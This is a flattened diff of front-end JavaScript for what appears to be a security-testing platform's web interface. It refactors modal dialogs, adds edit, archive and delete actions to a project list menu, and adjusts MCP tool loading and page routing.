updateProjectStatusPill(p.status || 'active');
|
updateProjectStatusPill(p.status || 'active');
|
||||||
const metaEl = document.getElementById('projects-detail-meta');
|
currentProjectUpdatedAt = p.updated_at;
|
||||||
if (metaEl) metaEl.textContent = tpFmt('projects.updatedPrefix', `Updated ${formatProjectTime(p.updated_at)}`, { time: formatProjectTime(p.updated_at) });
|
renderProjectDetailMeta(currentProjectUpdatedAt);
|
||||||
const descEl = document.getElementById('projects-detail-desc');
|
renderProjectDetailDesc(p.description);
|
||||||
if (descEl) {
|
|
||||||
const desc = (p.description || '').trim();
|
|
||||||
if (desc) {
|
|
||||||
descEl.textContent = desc;
|
|
||||||
descEl.hidden = false;
|
|
||||||
} else {
|
|
||||||
descEl.textContent = '';
|
|
||||||
descEl.hidden = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
projectNameById[p.id] = p.name || p.id;
|
projectNameById[p.id] = p.name || p.id;
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
console.warn(e);
|
console.warn(e);
|
||||||
@@ -857,38 +886,52 @@ let _factDetailFact = null;
|
|||||||
let _projectFactsFilterDebounce = null;
|
let _projectFactsFilterDebounce = null;
|
||||||
|
|
||||||
async function viewProjectFactBody(factKey) {
|
async function viewProjectFactBody(factKey) {
|
||||||
const res = await apiFetch(`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`);
|
document.getElementById('fact-detail-title').textContent = factKey;
|
||||||
if (!res.ok) return alert(tp('common.loadFailed'));
|
document.getElementById('fact-detail-meta').textContent = '…';
|
||||||
const f = await res.json();
|
document.getElementById('fact-detail-body').textContent = '';
|
||||||
_factDetailKey = f.fact_key;
|
|
||||||
_factDetailFact = f;
|
|
||||||
document.getElementById('fact-detail-title').textContent = `[${f.fact_key}]`;
|
|
||||||
const metaParts = [
|
|
||||||
tpFmt('projects.factMetaCategory', `Category: ${f.category}`, { value: f.category }),
|
|
||||||
tpFmt('projects.factMetaConfidence', `Confidence: ${f.confidence}`, { value: f.confidence }),
|
|
||||||
tpFmt('projects.factMetaUpdated', `Updated: ${formatProjectTime(f.updated_at, f.created_at)}`, {
|
|
||||||
time: formatProjectTime(f.updated_at, f.created_at),
|
|
||||||
}),
|
|
||||||
];
|
|
||||||
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
|
|
||||||
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
|
|
||||||
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
|
|
||||||
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
|
|
||||||
const warnEl = document.getElementById('fact-detail-sparse-warn');
|
const warnEl = document.getElementById('fact-detail-sparse-warn');
|
||||||
if (warnEl) {
|
if (warnEl) {
|
||||||
if (isSparseFactBody(f.category, f.fact_key, f.body)) {
|
warnEl.hidden = true;
|
||||||
warnEl.hidden = false;
|
warnEl.textContent = '';
|
||||||
warnEl.textContent = tp('projects.factSparseWarn');
|
|
||||||
} else {
|
|
||||||
warnEl.hidden = true;
|
|
||||||
warnEl.textContent = '';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
|
const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
|
||||||
const createBtn = document.getElementById('fact-detail-create-vuln-btn');
|
const createBtn = document.getElementById('fact-detail-create-vuln-btn');
|
||||||
if (linkBtn) linkBtn.hidden = false;
|
if (linkBtn) linkBtn.hidden = true;
|
||||||
if (createBtn) createBtn.hidden = false;
|
if (createBtn) createBtn.hidden = true;
|
||||||
openProjectsOverlay('fact-detail-modal');
|
openProjectsOverlay('fact-detail-modal', { focus: false });
|
||||||
|
const res = await apiFetch(`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`);
|
||||||
|
if (!res.ok) {
|
||||||
|
closeFactDetailModal();
|
||||||
|
return alert(tp('common.loadFailed'));
|
||||||
|
}
|
||||||
|
const f = await res.json();
|
||||||
|
_factDetailKey = f.fact_key;
|
||||||
|
_factDetailFact = f;
|
||||||
|
deferModalContent(() => {
|
||||||
|
document.getElementById('fact-detail-title').textContent = `[${f.fact_key}]`;
|
||||||
|
const metaParts = [
|
||||||
|
tpFmt('projects.factMetaCategory', `Category: ${f.category}`, { value: f.category }),
|
||||||
|
tpFmt('projects.factMetaConfidence', `Confidence: ${f.confidence}`, { value: f.confidence }),
|
||||||
|
tpFmt('projects.factMetaUpdated', `Updated: ${formatProjectTime(f.updated_at, f.created_at)}`, {
|
||||||
|
time: formatProjectTime(f.updated_at, f.created_at),
|
||||||
|
}),
|
||||||
|
];
|
||||||
|
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
|
||||||
|
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
|
||||||
|
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
|
||||||
|
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
|
||||||
|
if (warnEl) {
|
||||||
|
if (isSparseFactBody(f.category, f.fact_key, f.body)) {
|
||||||
|
warnEl.hidden = false;
|
||||||
|
warnEl.textContent = tp('projects.factSparseWarn');
|
||||||
|
} else {
|
||||||
|
warnEl.hidden = true;
|
||||||
|
warnEl.textContent = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (linkBtn) linkBtn.hidden = false;
|
||||||
|
if (createBtn) createBtn.hidden = false;
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function editFactFromDetail() {
|
function editFactFromDetail() {
|
||||||
@@ -1143,41 +1186,16 @@ async function viewFactsForVulnerability(vulnId) {
|
|||||||
else loadProjectFacts();
|
else loadProjectFacts();
|
||||||
}
|
}
|
||||||
|
|
||||||
function openProjectsOverlay(id) {
|
function openProjectsOverlay(id, opts) {
|
||||||
const el = document.getElementById(id);
|
openAppModal(id, opts);
|
||||||
if (!el) return;
|
|
||||||
el.style.display = 'flex';
|
|
||||||
syncProjectsModalBodyLock();
|
|
||||||
const focusTarget = el.querySelector('input.form-input, textarea.form-input, select.form-input');
|
|
||||||
if (focusTarget) {
|
|
||||||
setTimeout(() => focusTarget.focus(), 80);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function isProjectsOverlayVisible(id) {
|
function isProjectsOverlayVisible(id) {
|
||||||
const el = document.getElementById(id);
|
return isAppModalOpen(id);
|
||||||
if (!el) return false;
|
|
||||||
const style = window.getComputedStyle(el);
|
|
||||||
return style.display !== 'none' && style.visibility !== 'hidden';
|
|
||||||
}
|
|
||||||
|
|
||||||
function hasVisibleProjectsOverlay() {
|
|
||||||
const overlays = document.querySelectorAll('.projects-modal-overlay');
|
|
||||||
return Array.from(overlays).some((el) => {
|
|
||||||
const style = window.getComputedStyle(el);
|
|
||||||
return style.display !== 'none' && style.visibility !== 'hidden';
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function syncProjectsModalBodyLock() {
|
|
||||||
if (hasVisibleProjectsOverlay()) document.body.classList.add('projects-modal-open');
|
|
||||||
else document.body.classList.remove('projects-modal-open');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeProjectsOverlay(id) {
|
function closeProjectsOverlay(id) {
|
||||||
const el = document.getElementById(id);
|
closeAppModal(id);
|
||||||
if (el) el.style.display = 'none';
|
|
||||||
syncProjectsModalBodyLock();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function showNewProjectModal() {
|
function showNewProjectModal() {
|
||||||
@@ -1192,6 +1210,42 @@ function showNewProjectModal() {
|
|||||||
openProjectsOverlay('project-modal');
|
openProjectsOverlay('project-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function showEditProjectModal(projectId) {
|
||||||
|
if (!projectId) return;
|
||||||
|
window._projectModalFromChat = false;
|
||||||
|
window._projectModalEditId = projectId;
|
||||||
|
document.getElementById('project-modal-title').textContent = tp('projects.modalEditTitle');
|
||||||
|
const sub = document.getElementById('project-modal-subtitle');
|
||||||
|
if (sub) sub.textContent = tp('projects.modalEditSubtitle');
|
||||||
|
const submitBtn = document.getElementById('project-modal-submit-btn');
|
||||||
|
if (submitBtn) submitBtn.textContent = tp('projects.saveChanges');
|
||||||
|
const nameEl = document.getElementById('project-modal-name');
|
||||||
|
const descEl = document.getElementById('project-modal-description');
|
||||||
|
if (nameEl) nameEl.value = '';
|
||||||
|
if (descEl) descEl.value = '';
|
||||||
|
openProjectsOverlay('project-modal', { focus: false });
|
||||||
|
let p = findProjectById(projectId);
|
||||||
|
if (!p) {
|
||||||
|
try {
|
||||||
|
const res = await apiFetch(`/api/projects/${encodeURIComponent(projectId)}`);
|
||||||
|
if (!res.ok) throw new Error(tp('projects.projectNotFound'));
|
||||||
|
p = await res.json();
|
||||||
|
} catch (e) {
|
||||||
|
closeProjectModal();
|
||||||
|
alert(e.message || tp('projects.projectNotFound'));
|
||||||
|
window._projectModalEditId = null;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const name = (p.name || '').slice(0, PROJECT_NAME_MAX_LENGTH);
|
||||||
|
const description = clampProjectDescription(p.description || '');
|
||||||
|
deferModalContent(() => {
|
||||||
|
if (nameEl) nameEl.value = name;
|
||||||
|
if (descEl) descEl.value = description;
|
||||||
|
nameEl?.focus();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
/** 从对话区「选择项目」面板打开新建项目,创建成功后自动绑定当前对话 */
|
/** 从对话区「选择项目」面板打开新建项目,创建成功后自动绑定当前对话 */
|
||||||
function showNewProjectModalFromChat() {
|
function showNewProjectModalFromChat() {
|
||||||
closeChatProjectPanel();
|
closeChatProjectPanel();
|
||||||
@@ -1200,11 +1254,11 @@ function showNewProjectModalFromChat() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function saveProjectModal() {
|
async function saveProjectModal() {
|
||||||
const name = document.getElementById('project-modal-name').value.trim();
|
const name = document.getElementById('project-modal-name').value.trim().slice(0, PROJECT_NAME_MAX_LENGTH);
|
||||||
if (!name) return alert(tp('projects.enterProjectName'));
|
if (!name) return alert(tp('projects.enterProjectName'));
|
||||||
const body = {
|
const body = {
|
||||||
name,
|
name,
|
||||||
description: document.getElementById('project-modal-description').value.trim(),
|
description: clampProjectDescription(document.getElementById('project-modal-description').value),
|
||||||
};
|
};
|
||||||
const editId = window._projectModalEditId;
|
const editId = window._projectModalEditId;
|
||||||
const res = editId
|
const res = editId
|
||||||
@@ -1231,6 +1285,7 @@ async function saveProjectModal() {
|
|||||||
|
|
||||||
function closeProjectModal() {
|
function closeProjectModal() {
|
||||||
window._projectModalFromChat = false;
|
window._projectModalFromChat = false;
|
||||||
|
window._projectModalEditId = null;
|
||||||
closeProjectsOverlay('project-modal');
|
closeProjectsOverlay('project-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1271,7 +1326,7 @@ async function saveProjectSettings() {
|
|||||||
}
|
}
|
||||||
const body = {
|
const body = {
|
||||||
name: document.getElementById('project-edit-name').value.trim(),
|
name: document.getElementById('project-edit-name').value.trim(),
|
||||||
description: document.getElementById('project-edit-description').value.trim(),
|
description: clampProjectDescription(document.getElementById('project-edit-description').value),
|
||||||
scope_json: scopeRaw,
|
scope_json: scopeRaw,
|
||||||
status: document.getElementById('project-edit-status')?.value || 'active',
|
status: document.getElementById('project-edit-status')?.value || 'active',
|
||||||
pinned: !!document.getElementById('project-edit-pinned')?.checked,
|
pinned: !!document.getElementById('project-edit-pinned')?.checked,
|
||||||
@@ -1287,30 +1342,112 @@ async function saveProjectSettings() {
|
|||||||
alert(tp('projects.saved'));
|
alert(tp('projects.saved'));
|
||||||
}
|
}
|
||||||
|
|
||||||
async function archiveCurrentProject() {
|
function findProjectById(projectId) {
|
||||||
if (!currentProjectId) return;
|
return projectsCache.find((p) => p.id === projectId) || projectsCacheAll.find((p) => p.id === projectId);
|
||||||
const statusEl = document.getElementById('project-edit-status');
|
}
|
||||||
const cur = statusEl?.value || 'active';
|
|
||||||
|
let _projectListMenuTargetId = null;
|
||||||
|
let _projectListMenuDocClickBound = false;
|
||||||
|
|
||||||
|
function closeProjectListActionMenu() {
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu) return;
|
||||||
|
menu.style.display = 'none';
|
||||||
|
_projectListMenuTargetId = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function positionProjectListActionMenu(event) {
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu) return;
|
||||||
|
menu.style.display = 'block';
|
||||||
|
menu.style.visibility = 'visible';
|
||||||
|
menu.style.opacity = '1';
|
||||||
|
void menu.offsetHeight;
|
||||||
|
const menuRect = menu.getBoundingClientRect();
|
||||||
|
const viewportWidth = window.innerWidth;
|
||||||
|
const viewportHeight = window.innerHeight;
|
||||||
|
let left = event.clientX;
|
||||||
|
let top = event.clientY;
|
||||||
|
if (left + menuRect.width > viewportWidth) {
|
||||||
|
left = Math.max(8, event.clientX - menuRect.width);
|
||||||
|
}
|
||||||
|
if (top + menuRect.height > viewportHeight) {
|
||||||
|
top = Math.max(8, event.clientY - menuRect.height);
|
||||||
|
}
|
||||||
|
menu.style.left = `${left}px`;
|
||||||
|
menu.style.top = `${top}px`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function showProjectListActionMenu(event, projectId) {
|
||||||
|
event.stopPropagation();
|
||||||
|
event.preventDefault();
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu) return;
|
||||||
|
if (_projectListMenuTargetId === projectId && menu.style.display === 'block') {
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
const p = findProjectById(projectId);
|
||||||
|
if (!p) return;
|
||||||
|
_projectListMenuTargetId = projectId;
|
||||||
|
const editText = document.getElementById('projects-list-menu-edit-text');
|
||||||
|
const archiveText = document.getElementById('projects-list-menu-archive-text');
|
||||||
|
const deleteText = document.getElementById('projects-list-menu-delete-text');
|
||||||
|
if (editText) editText.textContent = tp('projects.editProject');
|
||||||
|
if (archiveText) {
|
||||||
|
archiveText.textContent = p.status === 'archived'
|
||||||
|
? tp('projects.restoreProjectActive')
|
||||||
|
: tp('projects.archiveProject');
|
||||||
|
}
|
||||||
|
if (deleteText) deleteText.textContent = tp('projects.deleteProject');
|
||||||
|
positionProjectListActionMenu(event);
|
||||||
|
}
|
||||||
|
|
||||||
|
function initProjectListActionMenu() {
|
||||||
|
if (_projectListMenuDocClickBound) return;
|
||||||
|
_projectListMenuDocClickBound = true;
|
||||||
|
document.addEventListener('click', (event) => {
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu || menu.style.display === 'none') return;
|
||||||
|
if (menu.contains(event.target)) return;
|
||||||
|
if (event.target.closest('.projects-list-item-menu')) return;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
});
|
||||||
|
document.addEventListener('keydown', (event) => {
|
||||||
|
if (event.key === 'Escape') closeProjectListActionMenu();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function toggleProjectArchiveById(projectId) {
|
||||||
|
const p = findProjectById(projectId);
|
||||||
|
if (!p) return;
|
||||||
|
const cur = p.status || 'active';
|
||||||
const next = cur === 'archived' ? 'active' : 'archived';
|
const next = cur === 'archived' ? 'active' : 'archived';
|
||||||
if (!confirm(next === 'archived' ? tp('projects.confirmArchiveProject') : tp('projects.confirmRestoreProjectActive'))) return;
|
if (!confirm(next === 'archived' ? tp('projects.confirmArchiveProject') : tp('projects.confirmRestoreProjectActive'))) return;
|
||||||
const res = await apiFetch(`/api/projects/${currentProjectId}`, {
|
const res = await apiFetch(`/api/projects/${projectId}`, {
|
||||||
method: 'PUT',
|
method: 'PUT',
|
||||||
headers: { 'Content-Type': 'application/json' },
|
headers: { 'Content-Type': 'application/json' },
|
||||||
body: JSON.stringify({ status: next }),
|
body: JSON.stringify({ status: next }),
|
||||||
});
|
});
|
||||||
if (!res.ok) return alert(tp('projects.operationFailed'));
|
if (!res.ok) return alert(tp('projects.operationFailed'));
|
||||||
await loadProjectsList();
|
await loadProjectsList();
|
||||||
await selectProject(currentProjectId);
|
if (currentProjectId === projectId && projectsCache.some((item) => item.id === projectId)) {
|
||||||
|
await selectProject(projectId);
|
||||||
|
} else if (currentProjectId === projectId) {
|
||||||
|
currentProjectId = null;
|
||||||
|
updateProjectsDetailVisibility();
|
||||||
|
if (projectsCache.length) await selectProject(projectsCache[0].id);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function deleteCurrentProject() {
|
async function deleteProjectById(projectId) {
|
||||||
if (!currentProjectId || !confirm(tp('projects.confirmDeleteProject'))) return;
|
if (!projectId || !confirm(tp('projects.confirmDeleteProject'))) return;
|
||||||
const deletedId = currentProjectId;
|
const deletedIndex = projectsCache.findIndex((p) => p.id === projectId);
|
||||||
const deletedIndex = projectsCache.findIndex((p) => p.id === deletedId);
|
const res = await apiFetch(`/api/projects/${projectId}`, { method: 'DELETE' });
|
||||||
const res = await apiFetch(`/api/projects/${deletedId}`, { method: 'DELETE' });
|
|
||||||
if (!res.ok) return alert(tp('projects.deleteFailed'));
|
if (!res.ok) return alert(tp('projects.deleteFailed'));
|
||||||
if (getActiveProjectId() === deletedId) setActiveProjectId('');
|
if (getActiveProjectId() === projectId) setActiveProjectId('');
|
||||||
currentProjectId = null;
|
if (currentProjectId === projectId) currentProjectId = null;
|
||||||
await loadProjectsList();
|
await loadProjectsList();
|
||||||
if (projectsCache.length) {
|
if (projectsCache.length) {
|
||||||
const nextIndex = Math.min(deletedIndex >= 0 ? deletedIndex : 0, projectsCache.length - 1);
|
const nextIndex = Math.min(deletedIndex >= 0 ? deletedIndex : 0, projectsCache.length - 1);
|
||||||
@@ -1320,6 +1457,37 @@ async function deleteCurrentProject() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function toggleProjectArchiveFromListMenu() {
|
||||||
|
const projectId = _projectListMenuTargetId;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
if (!projectId) return;
|
||||||
|
await toggleProjectArchiveById(projectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
function editProjectFromListMenu() {
|
||||||
|
const projectId = _projectListMenuTargetId;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
if (!projectId) return;
|
||||||
|
showEditProjectModal(projectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deleteProjectFromListMenu() {
|
||||||
|
const projectId = _projectListMenuTargetId;
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
if (!projectId) return;
|
||||||
|
await deleteProjectById(projectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function archiveCurrentProject() {
|
||||||
|
if (!currentProjectId) return;
|
||||||
|
await toggleProjectArchiveById(currentProjectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deleteCurrentProject() {
|
||||||
|
if (!currentProjectId) return;
|
||||||
|
await deleteProjectById(currentProjectId);
|
||||||
|
}
|
||||||
|
|
||||||
function resetFactModalForm() {
|
function resetFactModalForm() {
|
||||||
window._factModalEditId = null;
|
window._factModalEditId = null;
|
||||||
const keyEl = document.getElementById('fact-modal-key');
|
const keyEl = document.getElementById('fact-modal-key');
|
||||||
@@ -1379,14 +1547,20 @@ function showAddFactModal() {
|
|||||||
|
|
||||||
async function showEditFactModal(factKey) {
|
async function showEditFactModal(factKey) {
|
||||||
if (!currentProjectId) return alert(tp('projects.selectProjectFirst'));
|
if (!currentProjectId) return alert(tp('projects.selectProjectFirst'));
|
||||||
|
resetFactModalForm();
|
||||||
|
openProjectsOverlay('fact-modal', { focus: false });
|
||||||
const res = await apiFetch(
|
const res = await apiFetch(
|
||||||
`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`,
|
`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`,
|
||||||
);
|
);
|
||||||
if (!res.ok) return alert(tp('projects.loadFactFailed'));
|
if (!res.ok) {
|
||||||
|
closeFactModal();
|
||||||
|
return alert(tp('projects.loadFactFailed'));
|
||||||
|
}
|
||||||
const f = await res.json();
|
const f = await res.json();
|
||||||
resetFactModalForm();
|
deferModalContent(() => {
|
||||||
fillFactModalForm(f);
|
fillFactModalForm(f);
|
||||||
openProjectsOverlay('fact-modal');
|
document.getElementById('fact-modal-key')?.focus();
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeFactModal() {
|
function closeFactModal() {
|
||||||
@@ -1713,6 +1887,10 @@ function initChatProjectSelector() {
|
|||||||
const panel = document.getElementById('chat-project-panel');
|
const panel = document.getElementById('chat-project-panel');
|
||||||
if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
|
if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
|
||||||
if (currentProjectId) {
|
if (currentProjectId) {
|
||||||
|
refreshProjectDetailMetaI18n();
|
||||||
|
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
||||||
|
const p = source.find((x) => x.id === currentProjectId);
|
||||||
|
if (p) updateProjectStatusPill(p.status || 'active');
|
||||||
refreshProjectHeaderStats().catch(() => {});
|
refreshProjectHeaderStats().catch(() => {});
|
||||||
switchProjectTab(currentProjectTab || 'facts');
|
switchProjectTab(currentProjectTab || 'facts');
|
||||||
}
|
}
|
||||||
@@ -1730,13 +1908,18 @@ function initChatProjectSelector() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (document.readyState === 'loading') {
|
if (document.readyState === 'loading') {
|
||||||
document.addEventListener('DOMContentLoaded', initChatProjectSelector);
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
|
initChatProjectSelector();
|
||||||
|
initProjectListActionMenu();
|
||||||
|
});
|
||||||
} else {
|
} else {
|
||||||
initChatProjectSelector();
|
initChatProjectSelector();
|
||||||
|
initProjectListActionMenu();
|
||||||
}
|
}
|
||||||
|
|
||||||
window.initProjectsPage = initProjectsPage;
|
window.initProjectsPage = initProjectsPage;
|
||||||
window.showNewProjectModal = showNewProjectModal;
|
window.showNewProjectModal = showNewProjectModal;
|
||||||
|
window.showEditProjectModal = showEditProjectModal;
|
||||||
window.showNewProjectModalFromChat = showNewProjectModalFromChat;
|
window.showNewProjectModalFromChat = showNewProjectModalFromChat;
|
||||||
window.saveProjectModal = saveProjectModal;
|
window.saveProjectModal = saveProjectModal;
|
||||||
window.closeProjectModal = closeProjectModal;
|
window.closeProjectModal = closeProjectModal;
|
||||||
@@ -1751,6 +1934,10 @@ window.closeFactDetailModal = closeFactDetailModal;
|
|||||||
window.saveProjectSettings = saveProjectSettings;
|
window.saveProjectSettings = saveProjectSettings;
|
||||||
window.archiveCurrentProject = archiveCurrentProject;
|
window.archiveCurrentProject = archiveCurrentProject;
|
||||||
window.deleteCurrentProject = deleteCurrentProject;
|
window.deleteCurrentProject = deleteCurrentProject;
|
||||||
|
window.showProjectListActionMenu = showProjectListActionMenu;
|
||||||
|
window.editProjectFromListMenu = editProjectFromListMenu;
|
||||||
|
window.toggleProjectArchiveFromListMenu = toggleProjectArchiveFromListMenu;
|
||||||
|
window.deleteProjectFromListMenu = deleteProjectFromListMenu;
|
||||||
window.refreshChatProjectSelector = refreshChatProjectSelector;
|
window.refreshChatProjectSelector = refreshChatProjectSelector;
|
||||||
window.onChatProjectChange = onChatProjectChange;
|
window.onChatProjectChange = onChatProjectChange;
|
||||||
window.toggleChatProjectPanel = toggleChatProjectPanel;
|
window.toggleChatProjectPanel = toggleChatProjectPanel;
|
||||||
|
|||||||
@@ -1112,7 +1112,7 @@ async function showAddRoleModal() {
|
|||||||
// 确保统计信息正确更新(显示0/108)
|
// 确保统计信息正确更新(显示0/108)
|
||||||
updateRoleToolsStats();
|
updateRoleToolsStats();
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal('role-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑角色
|
// 编辑角色
|
||||||
@@ -1274,15 +1274,16 @@ async function editRole(roleName) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal('role-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭角色模态框
|
// 关闭角色模态框
|
||||||
function closeRoleModal() {
|
function closeRoleModal() {
|
||||||
const modal = document.getElementById('role-modal');
|
closeAppModal('role-modal');
|
||||||
if (modal) {
|
}
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
function closeRoleSelectModal() {
|
||||||
|
closeAppModal('role-select-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取所有选中的工具(包括未在MCP管理中启用的工具)
|
// 获取所有选中的工具(包括未在MCP管理中启用的工具)
|
||||||
@@ -1634,6 +1635,7 @@ if (typeof window !== 'undefined') {
|
|||||||
window.getCurrentRole = getCurrentRole;
|
window.getCurrentRole = getCurrentRole;
|
||||||
window.toggleRoleSelectionPanel = toggleRoleSelectionPanel;
|
window.toggleRoleSelectionPanel = toggleRoleSelectionPanel;
|
||||||
window.closeRoleSelectionPanel = closeRoleSelectionPanel;
|
window.closeRoleSelectionPanel = closeRoleSelectionPanel;
|
||||||
|
window.closeRoleSelectModal = closeRoleSelectModal;
|
||||||
window.filterRoleToolsByStatus = filterRoleToolsByStatus;
|
window.filterRoleToolsByStatus = filterRoleToolsByStatus;
|
||||||
window.currentSelectedRole = getCurrentRole();
|
window.currentSelectedRole = getCurrentRole();
|
||||||
|
|
||||||
|
|||||||
+19
-11
@@ -315,6 +315,9 @@ function showSubmenuPopup(navItem, menuId) {
|
|||||||
async function initPage(pageId) {
|
async function initPage(pageId) {
|
||||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
|
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
|
||||||
if (window.i18nReady) await window.i18nReady;
|
if (window.i18nReady) await window.i18nReady;
|
||||||
|
if (typeof stopExternalMcpPoll === 'function') {
|
||||||
|
stopExternalMcpPoll();
|
||||||
|
}
|
||||||
switch(pageId) {
|
switch(pageId) {
|
||||||
case 'dashboard':
|
case 'dashboard':
|
||||||
if (typeof refreshDashboard === 'function') {
|
if (typeof refreshDashboard === 'function') {
|
||||||
@@ -372,21 +375,26 @@ async function initPage(pageId) {
|
|||||||
}, 100);
|
}, 100);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
// 先拉取全局配置,确保 tool_search 常驻状态按后端生效集合展示
|
const afterMcpConfigReady = () => {
|
||||||
|
startLoadMcpTools();
|
||||||
|
if (typeof loadExternalMCPs === 'function') {
|
||||||
|
loadExternalMCPs().catch(err => {
|
||||||
|
console.warn('加载外部MCP列表失败:', err);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (typeof startExternalMcpPoll === 'function') {
|
||||||
|
startExternalMcpPoll();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
// 先拉取配置(含 tool_search 常驻列表),再加载工具与外部 MCP
|
||||||
if (typeof loadConfig === 'function') {
|
if (typeof loadConfig === 'function') {
|
||||||
loadConfig(false)
|
loadConfig(false)
|
||||||
.catch(err => {
|
.catch(err => {
|
||||||
console.warn('加载配置失败(将继续加载工具列表):', err);
|
console.warn('加载配置失败(将继续加载 MCP 列表):', err);
|
||||||
})
|
})
|
||||||
.finally(startLoadMcpTools);
|
.finally(afterMcpConfigReady);
|
||||||
} else {
|
} else {
|
||||||
startLoadMcpTools();
|
afterMcpConfigReady();
|
||||||
}
|
|
||||||
// 先加载外部MCP列表(快速),然后加载工具列表
|
|
||||||
if (typeof loadExternalMCPs === 'function') {
|
|
||||||
loadExternalMCPs().catch(err => {
|
|
||||||
console.warn('加载外部MCP列表失败:', err);
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 'projects':
|
case 'projects':
|
||||||
@@ -497,7 +505,7 @@ document.addEventListener('DOMContentLoaded', function() {
|
|||||||
let pageId = hashParts[0];
|
let pageId = hashParts[0];
|
||||||
|
|
||||||
if (pageId === 'c2') pageId = 'c2-listeners';
|
if (pageId === 'c2') pageId = 'c2-listeners';
|
||||||
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
||||||
switchPage(pageId);
|
switchPage(pageId);
|
||||||
if (pageId === 'chat') {
|
if (pageId === 'chat') {
|
||||||
scheduleChatConversationFromHash(200);
|
scheduleChatConversationFromHash(200);
|
||||||
|
|||||||
+293
-94
@@ -16,6 +16,96 @@ function getToolKey(tool) {
|
|||||||
}
|
}
|
||||||
